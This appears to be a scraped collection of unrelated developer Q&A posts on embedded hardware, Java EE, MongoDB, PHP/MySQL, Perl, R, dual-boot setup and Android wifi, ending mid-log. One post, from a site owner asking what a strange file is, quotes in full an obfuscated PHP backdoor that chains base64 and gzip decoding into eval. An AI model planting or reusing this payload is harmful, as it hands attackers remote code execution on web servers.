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• How to find an embedded platform?

  - by gmagana

  I am new to the locating hardware side of embedded programming and so after being completely overwhelmed with all the choices out there (pc104, custom boards, a zillion option for each board, volume discounts, devel kits, ahhh!!) I am asking here for some direction. Basically, I must find a new motherboard and (most likely) re-implement the program logic. Rewriting this in C/C++/Java/C#/Pascal/BASIC is not a problem for me. so my real problem is finding the hardware. This motherboard will have several other devices attached to it. Here is a summary of what I need to do: Required: 2 RS232 serial ports (one used all the time for primary UI, the second one not continuous) 1 modem (9600+ baud ok) [Modem will be in simultaneous use with only one of the serial port devices, so interrupt sharing with one serial port is OK, but not both] Minimum permanent/long term storage: Whatever O/S requires + 1 MB (executable) + 512 KB (Data files) RAM: Minimal, whatever the O/S requires plus maybe 1MB for executable. Nice to have: USB port(s) Ethernet network port Wireless network Implementation languages (any O/S I will adapt to): First choice Java/C# (Mono ok) Second choice is C/Pascal Third is BASIC Ok, given all this, I am having a lot of trouble finding hardware that will support this that is low in cost. Every manufacturer site I visit has a lot of options, and it's difficult to see if their offering will even satisfy my must-have requirements (for example they sometimes list 3 "serial ports", but it appears that only one of the three is RS232, for example, and don't mention what the other two are). The #1 constraint is cost, #2 is size. Can anyone help me with this? This little task has left me thinking I should have gone for EE and not CS :-). EDIT: A bit of background: This is a system currently in production, but the original programmer passed away, and the current hardware manufacturer cannot find hardware to run the (currently) DOS system, so I need to reimplement this in a modern platform. I can only change the programming and the motherboard hardware.

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• BasicDBObject or QueryBuilder and some newbie questions of Java and mongo

  - by Kevin Xu

  hi I'm a fresh newbie to mongodb Q1 using query=new BasicDBObject(); query.put("i", new BasicDBObject("$gt",13)); and query=new QueryBuilder().put("i").Greaterthan(13).get() is there any difference inside of the system? Q2 I've created a class class findkv extends BasicDBObject{ //is gt gte lt lte public findkv(String fieldname,String op,Object tvalue) { if (op=="") this.put(fieldname,tvalue); else this.put(fieldname, new BasicDBObject(op,tvalue)); } } shall I use it or shall I just use original function? Q3 I've used mongo shell for a few weeks, and was customed to it, and find writing in mongo shell faster and shorter, which side has more advantage, writing in mongo or in java? I shall dump them from mongo to mysql Q4 I've an if (statement==true) return else dowhat; seems can't be compiled I know I can write if (statement!=true) dowhat else return, but can I still write in first style? q5 my eclipse is Eclipse Java EE IDE for Web Developers. Version: Juno Release Build id: 20120614-1722 I'd like to install Perl which I haven't learned yet I choose Install Update http://e-p-i-c.sf.net/updates/testing but it doesn't work, any method to install perl to eclipse manually?

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• Where is the taglib definition of PrimeFaces 4?

  - by Michael Wölm

  I am looking around how to define custom components in JSF. According to the Java EE tutorial, any custom component needs to be described in a taglib. When I take a look into the PrimeFaces source, I cannot find any taglib file or any hint where the namespace is bound and the available components are defined. I am adding primefaces jar to my dependencies, adding xmlns:p="http://primefaces.org/ui to the xml namespace, defining some primfaces components on my page and it works... Ok, but neither I can find the related taglib in the source or binary package nor my IDE (IntelliJ) is able to find where "xmlns:p="http://primefaces.org/ui" is pointing to. Therefore, code completion is also not possible. (all other mojarra taglibs are found.) Is it possible that PrimeFaces is defining the taglib via annotations directly in Java classes or is it generating it during runtime? I can easily find the UIComponents, primefaces defines in its source, but the configuration of the taglib seems to be missing. I am sure I just don't know how PrimeFaces is doing it, but the javaeetutorial is not describing any other opportunity than defining a ...-taglib.xml

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• LLVM: Passing a pointer to a struct, which holds a pointer to a function, to a JIT function

  - by Rusky

  I have an LLVM (version 2.7) module with a function that takes a pointer to a struct. That struct contains a function pointer to a C++ function. The module function is going to be JIT-compiled, and I need to build that struct in C++ using the LLVM API. I can't seem get the pointer to the function as an LLVM value, let alone pass a pointer to the ConstantStruct that I can't build. I'm not sure if I'm even on the track, but this is what I have so far: void print(char*); vector<Constant*> functions; functions.push_back(ConstantExpr::getIntToPtr( ConstantInt::get(Type::getInt32Ty(context), (int)print), /* function pointer type here, FunctionType::get(...) doesn't seem to work */ )); ConstantStruct* struct = cast<ConstantStruct>(ConstantStruct::get( cast<StructType>(m->getTypeByName("printer")), functions )); Function* main = m->getFunction("main"); vector<GenericValue> args; args[0].PointerVal = /* not sure what goes here */ ee->runFunction(main, args);

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• @PersistenceContext cannot be resolved to a type

  - by Saken Kungozhin

  i was running a code in which there's a dependency @PersistenceContext and field private EntityManager em; both of which cannot be resolved to a type, what is the meaning of this error and how can i fix it? the code is here: package org.jboss.tools.examples.util; import java.util.logging.Logger;` import javax.enterprise.context.RequestScoped; import javax.enterprise.inject.Produces; import javax.enterprise.inject.spi.InjectionPoint; import javax.faces.context.FacesContext; /** * This class uses CDI to alias Java EE resources, such as the persistence context, to CDI beans * * <p> * Example injection on a managed bean field: * </p> * * <pre> * &#064;Inject * private EntityManager em; * </pre> */ public class Resources { // use @SuppressWarnings to tell IDE to ignore warnings about field not being referenced directly @SuppressWarnings("unused") @Produces @PersistenceContext private EntityManager em; @Produces public Logger produceLog(InjectionPoint injectionPoint) { return Logger.getLogger(injectionPoint.getMember().getDeclaringClass().getName()); } @Produces @RequestScoped public FacesContext produceFacesContext() { return FacesContext.getCurrentInstance(); } }

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• 500 internal server error at form connection

  - by klox

  hi..all..i've a problem i can't connect to database what's wrong with my code?this is my code: $("#mod").change(function() { var barcode; barCode=$("#mod").val(); var data=barCode.split(" "); $("#mod").val(data[0]); $("#seri").val(data[1]); var str=data[0]; var matches=str.match(/(EE|[EJU]).*(D)/i); $.ajax({ type:"post", url:"process1.php", data:"value="+matches+"action=tunermatches", cache:false, async:false, success: function(res){ $('#rslt').replaceWith( "<div id='value'><h6>Tuner range is" + res + " .</h6></div>" ); } }); }); and this is my process file: switch(postVar('action')) { case 'tunermatches' : tunermatches(postVar('tuner')); break; function tunermatches($tuner)){ $Tuner=mysql_real_escape_string($tuner); $sql= "SELECT remark FROM settingdata WHERE itemname="Tuner_range" AND itemdata="$Tunermatches"; $res=mysql_query($sql); $dat=mysql_fetch_array($res,MYSQL_NUM); if($dat[0]>0) { echo $dat[0]; } mysql_close($dbc); }

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• database connection OK,result not appear

  - by klox

  hi..all.for now i'm already connected to database but the result not appear at Tuner range is"+res+"this is my code: var str=data[0]; var matches=str.match(/[EE|EJU].*D/i); $.ajax({ type:"post", url:"process1.php", data:"tversion="+matches+"&action=tunermatches", cache:false, async:false, success: function(res){ $('#value').replacewith("<div id='value'><h6>Tuner range is"+res+".</h6></div>"); } }); }); and this is my process file: //connect to database $dbc=mysql_connect(_SRV,_ACCID,_PWD) or die(_ERROR15.": ".mysql_error()); $db=mysql_select_db("qdbase",$dbc) or die(_ERROR17.": ".mysql_error()); switch(postVar('action')) { case 'tunermatches' : tunermatches(postVar('tversion')); break; function tunermatches($tversion)){ $Tuner=mysql_real_escape_string($tversion); $sql= "SELECT remark FROM settingdata WHERE itemname='Tuner_range' AND itemdata='".$Tunermatches."'"; $res=mysql_query($sql) or die (_ERROR26.":".mysql_error()); $dat=mysql_fetch_array($res,MYSQL_NUM); if($dat[0]>0) { echo $dat[0]; } mysql_close($dbc); }

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• Weird PHP file on my website

  - by sam

  Today i noticed that there was a strange new file called "noivil.php" on my webspace. The contents of it are very long and I have no idea what it does! <?php $k='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';$r='YmFzZTY0X2RlY29kZQ==';$rr='WjNwMWJtTnZiWEJ5WlhOeg==';$rrr=base64_decode($r);$rrrr=$rrr($rrr($rr));eval($rrrr($rrr($k))); When I run it it just outputs some random stuff I don't understand. My questions: What is this? Where did it come from? Is it a virus/trojan? What does it exactly do? You are better at PHP than me, maybe you can tell what it is Thanks in advance

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• MVVM: Do I need Inheritance with ViewModels A + B ?

  - by Lisa

  Hello guys my first post on SO because EE sucks in the meantime ;P I am using wpf and mvvm in my desktop application. Scenario: I have a calendar with week A and week B which are rotating by every X week depending on the user settings. But the UserControl "week B" is only visible when the user sets the option "rotating weeks"... The UserControl with week A has a DataGrid and for week B I want to use the same UserControl of course. What I want to achieve is that all data entered/choosen by the user in the Week A is saved/backed by a ViewModel A and Model C. When the user wants a rotating weekly calendar plan I need also a ViewModel B and again Model C. The reason why I need to know what data entered by the user belongs to week A or week B is because I have to write the entered data in a certain order into the database = db.Write(weekA),db.Write(weekB),db.Write(weekA),etc... I am unsure how a solution could look like... What would you do to identify a ViewModel A or B so you know the order of how to write the data in the proper order into database? Any other suggestions are also welcome of course, maybe I think in the wrong direction its late here :) I am new to mvvm so please be patient.

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• Perl regex which grabs ALL double letter occurances in a line

  - by phileas fogg

  Hi all, still plugging away at teaching myself Perl. I'm trying to write some code that will count the lines of a file that contain double letters and then place parentheses around those double letters. Now what I've come up with will find the first ocurrance of double letters, but not any other ones. For instance, if the line is: Amp, James Watt, Bob Transformer, etc. These pioneers conducted many My code will render this: 19 Amp, James Wa(tt), Bob Transformer, etc. These pioneers conducted many The "19" is the count (of lines containing double letters) and it gets the "tt" of "Watt" but misses the "ee" in "pioneers". Below is my code: $file = '/path/to/file/electricity.txt'; open(FH, $file) || die "Cannot open the file\n"; my $counter=0; while (<FH>) { chomp(); if (/(\w)\1/) { $counter += 1; s/$&/\($&\)/g; print "\n\n$counter $_\n\n"; } else { print "$_\n"; } } close(FH); What am I overlooking? TIA!

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• How to model in J2EE / JEE?

  - by Harry

  Let's say, I have decided to go with J(2)EE stack for my enterprise application. Now, for domain modelling (or: for designing the M of MVC), which APIs can I safely assume and use, and which I should stay away from... say, via a layer of abstraction? For example, Should I go ahead and litter my Model with calls to Hibernate/JPA API? Or, should I build an abstraction... a persistence layer of my own to avoid hard-coding against these two specific persistence APIs? Why I ask this: Few years ago, there was this Kodo API which got superseded by Hibernate. If one had designed a persistence layer and coded the rest of the model against this layer (instead of littering the Model with calls to specific vendor API), it would have allowed one to (relatively) easily switch from Kodo to Hibernate to xyz. Is it recommended to make aggressive use of the *QL provided by your persistence vendor in your domain model? I'm not aware of any real-world issues (like performance, scalability, portability, etc) arising out of a heavy use of an HQL-like language. Why I ask this: I would like to avoid, as much as possible, writing custom code when the same could be accomplished via query language that is more portable than SQL. Sorry, but I'm a complete newbie to this area. Where could I find more info on this topic? Many thanks in advance. /HS

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• Change XML node element value in PHP and save file.

  - by Hannes

  <testimonials> <testimonial id="4c050652f0c3e"> <nimi>John</nimi> <email>[email protected]</email> <text>Some text</text> <active>1</active> </testimonial> <testimonial id="4c05085e1cd4f"> <name>ats</name> <email>[email protected]</email> <text>Great site!</text> <active>0</akctive> </testimonial> </testimonials> I have this XML strcuture and i need to find a testimonial with specific id and change its value and save file. I have a PHP script deleting specific testimonial according its ID: <?php $xmlFile = file_get_contents('test.xml'); $xml = new SimpleXMLElement($xmlFile); $kust_id = $_GET["id"]; foreach($xml->testimonial as $story) { if($story['id'] == $kust_id) { $dom=dom_import_simplexml($story); $dom->parentNode->removeChild($dom); $xml->asXML('test.xml'); header("Location: newfile.php"); } } ?>

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• After mysql_query, no result output

  - by Jerry

  I have a simple mysql_query() update command to update mysql. When a user submits my form, it will jump to an update page to update the data. The problem is that there's supposed to be some data shown after the update, but it comes out blank. My form <form id="form1" method="POST" action="scheduleUpdate.php" > <select name=std1> <option>AA</option> <option>BB</option> <option>CC</option> </select> <select name=std2> <option>DD</option> <option>EE</option> <option>FF</option> </select> .......//more drop down menu but the name is std3..std4..etc... ....... </form> scheduleUpdate.php //$i is the value posted from my main app to tell me how many std we have for($k=0;$k<$i;$k++){ $std=$_POST['std'.$k]; //if i remove the updateQuery, the html will output.I know the query is the problem but i //couldn't fix it.. $updateQuery=mysql_query("UPDATE board SET student='$std' WHERE badStudent='$std' or goodStudent='$std'",$connection); //no output below this line at all if($updateQuery){ DIE('mysql Error:'+mysql_error()); } } // I have bunch of HTML here....but no output at all!!!! MySQL will be updated after I hit submit, but it doesn't shown any HTML.

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• ggplot: showing % instead of counts in charts of categorical variables

  - by wishihadabettername

  I'm plotting a categorical variable and instead of showing the counts for each category value, I'm looking for a way to get ggplot to display the percentage of values in that category. Of course, it is possible to create another variable with the calculated percentage and plot that one, but I have to do it several dozens of times and I hope to achieve that in one command. I was experimenting with something like qplot (mydataf) + stat_bin(aes(n=nrow(mydataf), y=..count../n)) + scale_y_continuous(formatter="percent") but I must be using it incorrectly, as I got errors. To easily reproduce the setup, here's a simplified example: mydata <- c ("aa", "bb", null, "bb", "cc", "aa", "aa", "aa", "ee", null, "cc"); mydataf <- factor(mydata); qplot (mydataf); #this shows the count, I'm looking to see % displayed. In the real case I'll probably use ggplot instead of qplot, but the right way to use stat_bin still eludes me. Thank you. UPDATE: I've also tried these four approaches: ggplot(mydataf, aes(y = (..count..)/sum(..count..))) + scale_y_continuous(formatter = 'percent'); ggplot(mydataf, aes(y = (..count..)/sum(..count..))) + scale_y_continuous(formatter = 'percent') + geom_bar(); ggplot(mydataf, aes(x = levels(mydataf), y = (..count..)/sum(..count..))) + scale_y_continuous(formatter = 'percent'); ggplot(mydataf, aes(x = levels(mydataf), y = (..count..)/sum(..count..))) + scale_y_continuous(formatter = 'percent') + geom_bar(); but all 4 give: Error: ggplot2 doesn't know how to deal with data of class factor The same error appears for the simple case of ggplot (data=mydataf, aes(levels(mydataf))) + geom_bar() so it's clearly something about how ggplot interacts with a single vector. I'm scratching my head, googling for that error gives a single result.

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• Oracle Application Server Performance Monitoring and Tuning (CPU load high)

  - by Berkay

  Oracle Application Server Performance Monitoring and Tuning (CPU load high) i have just hired by a company and my boss give me a performance issue to solve as soon as possible. I don't have any experience with the Java EE before at the server side. Let me begin what i learned about the system and still couldn't find the solution: We have an Oracle Application Server (10.1.) and Oracle Database server (9.2.), the software guys wrote a kind of big J2EE project (X project) using specifically JSF 1.2 with Ajax which is only used in this project. They actively use PL/SQL in their code. So, we started the application server (Solaris machine), everything seems OK. users start using the app starting Monday from different locations (app 200 have user accounts,i just checked and see that the connection pool is set right, the session are active only 15 minutes). After sometime (2 days) CPU utilization gets high,%60, at night it is still same nothing changed (the online user amount is nearly 1 or 2 at this time), even it starts using the CPU allocated for other applications on the same server because they freed If we don't restart the server, the utilization becomes %90 following 2 days, application is so slow that end users starts calling. The main problem is software engineers say that code is clear, and the System and DBA managers say that we have the correct configuration,the other applications seems OK why this problem happens only for X application. I start copying the DB to a test platform and upgrade it to the latest version, also did in same with the application server (Weblogic) if there is a bug or not. i only tested by myself only one user and weblogic admin panel i can track the threads and dump them. i noticed that there are some threads showing as a hogging. when i checked the manuals and control the trace i see that it directs me the line number where PL/SQL code is called from a .java file. The software eng. says that yes we have really complex PL/SQL codes but what's the relation with Application server? this is the problem of DB server, i guess they're right... I know the question has many holes, i'd like to give more in detail but i appreciate the way you guide me. Thanks in advance ... Edit: The server both in CPU and Memory enough to run more complex applications

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• How to reinstall Mac OS X on OS X/Linux dual-boot system?

  - by strangeronyourtrain

  My setup: I have a MacBook Pro 5,5 with a Mac OS X Snow Leopard partition and a Linux partition. I use rEFIt to boot into Linux. I didn't use Boot Camp when I originally installed Linux; instead, I manually created the partition (with either Disk Utility in OS X or Gparted on a Linux live CD--I don't recall which one) and then installed Linux on it from a live CD. The problem: My OS X partition is corrupt, and I need to reinstall Snow Leopard. Since I installed rEFIt from within OS X, I'm concerned that wiping the OS X partition will prevent me from booting into my Linux partition. How can I do this without losing access to my Linux partition? Is it possible to install Snow Leopard on the partition I reserved for it, or will it automatically overwrite the entire drive? And if I do the fresh OS X install and then install rEFIt again, will it automatically recognize my Linux partition? Thanks for any tips! Specs: MacBook Pro 5,5 (Mid-2009); Snow Leopard 10.6.7/64-bit Sabayon Linux, 2.6.36 kernel EDIT/UPDATE: Thanks, but the situation has taken a more complicated turn: I tried to reinstall Snow Leopard from the DVD, but it refused to install onto my Mac partition, claiming: "The disk cannot be used to start up your computer." Disk Utility wouldn't let me resize the partition or create a new one, and it doesn't see my Linux partition. It only displays the two partitions "Macintosh HD" and Linux Swap. I can, however, see all the partitions from Linux. This is the partition table as shown in Gparted: And the output of "fdisk -l" is: WARNING: GPT (GUID Partition Table) detected on '/dev/sda'! The util fdisk doesn't support GPT. Use GNU Parted. Disk /dev/sda: 250.1 GB, 250059350016 bytes 255 heads, 63 sectors/track, 30401 cylinders, total 488397168 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00000000 Device Boot Start End Blocks Id System /dev/sda1 1 409639 204819+ ee GPT /dev/sda2 409640 349590464 174590412+ af HFS / HFS+ /dev/sda3 483122745 488392064 2634660 82 Linux swap / Solaris /dev/sda4 * 349590465 483122744 66766140 83 Linux Partition table entries are not in disk order I wonder if this is because I originally partitioned my disk with Gparted instead of OS X's Disk Utility (at this point, I don't recall whether I used Gparted or Disk Utility). In any case, it doesn't seem safe to do any reformatting with Disk Utility now, as I'm afraid it will wipe sda2 ("Macintosh HD") as well as sda4 (my Linux partition). So... I'm hoping to find a solution that doesn't involve wiping my entire hard disk. Would it be safe/possible to use Gparted to erase sda2 ("Macintosh HD") and then use the Snow Leopard DVD to install OS X onto [I]just[/I] sda2 without touching the other partitions? Thanks for any insight!

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• Cliq Wireless questions

  - by Nathan Adams

  Heres the deal: I am by no means a Linux expert, even less when it comes to the Android OS but lets see if we can't solve this problem. The problem I am having is that on the Cliq we have a broadcom chip. In order to use the wireless card you must first insert the module into the kernel. Fine: # insmod /system/lib/dhd.ko insmod /system/lib/dhd.ko # lsmod lsmod dhd 164936 0 - Live 0xbf000000 # BUT netcfg (or ifconfig in busybox) does not recognize that there is a wireless adapter there: # netcfg netcfg lo UP 127.0.0.1 255.0.0.0 0x00000049 dummy0 DOWN 0.0.0.0 0.0.0.0 0x00000082 rmnet0 UP 14.67.164.2 255.255.255.252 0x00001043 rmnet1 DOWN 0.0.0.0 0.0.0.0 0x00001002 rmnet2 DOWN 0.0.0.0 0.0.0.0 0x00001002 usb0 DOWN 0.0.0.0 0.0.0.0 0x00001002 # busybox ifconfig busybox ifconfig lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:282 errors:0 dropped:0 overruns:0 frame:0 TX packets:282 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:18754 (18.3 KiB) TX bytes:18754 (18.3 KiB) rmnet0 Link encap:Ethernet HWaddr EE:83:E8:B4:4A:ED inet addr:14.x.x.x Bcast:14.67.164.3 Mask:255.255.255.252 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:7148 errors:0 dropped:0 overruns:0 frame:0 TX packets:7659 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:2609236 (2.4 MiB) TX bytes:908575 (887.2 KiB) # For giggles if we attempt to launch wpa_supplicant anyways we get this: # wpa_supplicant -Dwext -ieth0 -c/data/misc/wifi/wpa_supplicant.conf wpa_supplicant -Dwext -ieth0 -c/data/misc/wifi/wpa_supplicant.conf ioctl[SIOCSIWPMKSA]: No such device ioctl[SIOCSIWMODE]: No such device Could not configure driver to use managed mode ioctl[SIOCGIFFLAGS]: No such device Could not set interface 'eth0' UP ioctl[SIOCGIWRANGE]: No such device ioctl[SIOCGIFINDEX]: No such device CTRL-EVENT-STATE-CHANGE id=-1 state=0 ioctl[SIOCSIWENCODEEXT]: No such device ioctl[SIOCSIWENCODE]: No such device ioctl[SIOCSIWENCODEEXT]: No such device ioctl[SIOCSIWENCODE]: No such device ioctl[SIOCSIWENCODEEXT]: No such device ioctl[SIOCSIWENCODE]: No such device ioctl[SIOCSIWENCODEEXT]: No such device ioctl[SIOCSIWENCODE]: No such device ioctl[SIOCSIWAUTH]: No such device WEXT auth param 7 value 0x0 - Failed to disable WPA in the driver. ioctl[SIOCSIWAUTH]: No such device WEXT auth param 5 value 0x0 - ioctl[SIOCSIWAUTH]: No such device WEXT auth param 4 value 0x0 - ioctl[SIOCSIWAP]: No such device ioctl[SIOCGIFFLAGS]: No such device # In dmesg we get: <4>[18300.494065] dhd_oob_enable_intr : enable <4>[18305.019976] dhd_net_start failed bus is not ready <4>[18305.020278] dhdsdio_probe: dhd_net_start failed! Do I need to specify the firmware with insmod? Why are we trying to control the interface manually instead of through the Android API? The Android API doesn't support ad-hoc connections as far as I can tell. The card, I am sure, most certainly can.

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• Ubuntu 10.04 not detecting multiple monitors

  - by user28837

  I have 2 graphics cards, the output from the lspci: 01:00.0 VGA compatible controller: ATI Technologies Inc RV770 [Radeon HD 4850] 02:00.0 VGA compatible controller: ATI Technologies Inc RV710 [Radeon HD 4350] I have one monitor connected to the 4850 and 2 connected to the 4350. However when I go into System Preferences Monitors the only monitor shown is the one connected to the 4850. Is there something I need to enable for it to be able to use the other card? How do I get this to work. Thanks. As per request: X.Org X Server 1.7.6 Release Date: 2010-03-17 X Protocol Version 11, Revision 0 Build Operating System: Linux 2.6.24-25-server i686 Ubuntu Current Operating System: Linux jeff-desktop 2.6.32-22-generic-pae #33-Ubuntu SMP Wed Apr 28 14:57:29 UTC 2010 i686 Kernel command line: BOOT_IMAGE=/boot/vmlinuz-2.6.32-22-generic-pae root=UUID=852e1013-4ed6-40fd-a462-c29087888383 ro quiet splash Build Date: 23 April 2010 05:11:50PM xorg-server 2:1.7.6-2ubuntu7 (Bryce Harrington <[email protected]>) Current version of pixman: 0.16.4 Before reporting problems, check http://wiki.x.org to make sure that you have the latest version. Markers: (--) probed, (**) from config file, (==) default setting, (++) from command line, (!!) notice, (II) informational, (WW) warning, (EE) error, (NI) not implemented, (??) unknown. (==) Log file: "/var/log/Xorg.0.log", Time: Tue May 11 08:24:52 2010 (==) Using config file: "/etc/X11/xorg.conf" (==) Using config directory: "/usr/lib/X11/xorg.conf.d" (==) No Layout section. Using the first Screen section. (**) |-->Screen "Default Screen" (0) (**) | |-->Monitor "<default monitor>" (==) No device specified for screen "Default Screen". Using the first device section listed. (**) | |-->Device "Default Device" (==) No monitor specified for screen "Default Screen". Using a default monitor configuration. (==) Automatically adding devices (==) Automatically enabling devices (WW) The directory 